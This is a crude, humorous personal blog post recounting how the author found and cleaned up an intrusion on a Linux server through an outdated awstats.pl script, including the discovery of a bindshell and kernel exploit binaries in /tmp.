You know the feeling you’d get if you went camping for a weekend? And if, the next morning, you discovered a bloody condom stuffed up your ass while wondering how the hell it got there?
Well, this vaguely describes how I’ve been feeling for the past few days.
Every machine which is sitting on the internet one way or another is bound to be broken in one day or another. Maybe some of you will have heard of the evil awstats exploit that allowed some major sites to be defaced?
Well, when I learned about it, I updated my copy of awstats, but it turns out I did a few days late. Yes, ladies and gentlement, I have been owned.
Two days ago, my quake 3 dedicated server (angeldust.underwares.org, for the interested) started leaking memory and it took me a good 40 minutes to shut it down while starting to get vaguely worried about the “Out Of Memory: Killing (some process)” messages scrolling on the server console.
While scouring the logs for information about what had forced my server Operating System to page all of the memory to disk and then murder innocent processes in order to keep the machine up, I stumbled accross part of a daily cron job which runs chkrootkit. Apparently something suspicious listened on port 4000. My first reaction was to netcat it, to see what the hell it would respond. I saw this:
Can’t fork pty, bye!
Uh-oh.
Netstat revealed that the process running on port 4000 was “./bt”. I found it in /tmp. If I was not already convinced it was some kind of bindshell, this finished convincing me.
-rwxrwxrwx 1 apache apache 11K Jan 17 10:43 bt*
Urgh. I don’t like seeing executable files in /tmp owned by my web server. I killed that little shit, and now pretty much sure that it came from something running on my webserver, I shut it down.
The system binaries were triple checked to be originals, comparing them with a backup of mine.
Looking in the temporary folder revealed more suspicious files.
-rwxrwxrwx 1 apache apache 11K Jan 17 10:43 bt*
-rwxrwxrwx 1 apache apache 28K Jan 17 11:00 elflbl*
-rwxr-xr-x 1 apache apache 14K Dec 19 11:29 dc*
-rwxrwxrwx 1 apache apache 20K Feb 1 11:19 uselib24*
-rw-r--r-- 1 apache apache 14K Dec 19 11:29 dc.1
Looking at the strings output from these files is scary. Very scary.
Well, shit, some little placenta residue planted these craps on my server in /tmp and managed to execute some of them. What highly bothered me at this point is the fact that I mount the tmp partition on my server with the noexec option, which should have thwarted this rootkit from ever doing anything useful except maybe consume disk space. Well, I decided I’d find out later, now was time to scour the logs.
After some deep digging, I found traces of someone downloading a file using wget in the current error_log. ( Click Here to see it)
Well shit some more. I did some serious grep action only to discover offending strings. Someone was obviously using awstats.pl to do strange things. Like, executing backdoors in /tmp.( Again, Click Here to see them).
And so, as it turns out, a very old, unused version of awstats.pl was sitting in cgi-bin, quietly waiting for people to execute stuff on my server. Grr.
Now, I had to evaluate the damage. I had a backup of the system from a few weeks ago, as mentionned earlier, and I compared the checksums. Everything matches, it seems the backdoors were just planted there, and did not do anything.
Some research proves that I was a mere victim of a script kiddy. BOTH the client and the server of the rootkit were uploaded. The two other things are simply attempting to exploit some vile security hole in certain 2.4 kernel relases. I am still standing here unscathed because I run the 2.6 series, which is good.
So the system was systematically cleaned, some binaries restored from backup to ensure 100% neat-o-matic freshness and security was tightened alot more..
I still can’t figure out why /tmp still alows execution. I managed to enforce by issuing a filesystem remount, but when the box is booted vanilla, I doesn’t work. I’ll investigate further…
Kids, remember, tripwire is your friend. It is a good thing the system came out clean, else it was headed the reformat way.
Before you feel the urge to ask, no, I don’t dig camping.
Well, I filed a bug report for my noexec option problem
http://bugs.gentoo.org/show_bug.cgi?id=81868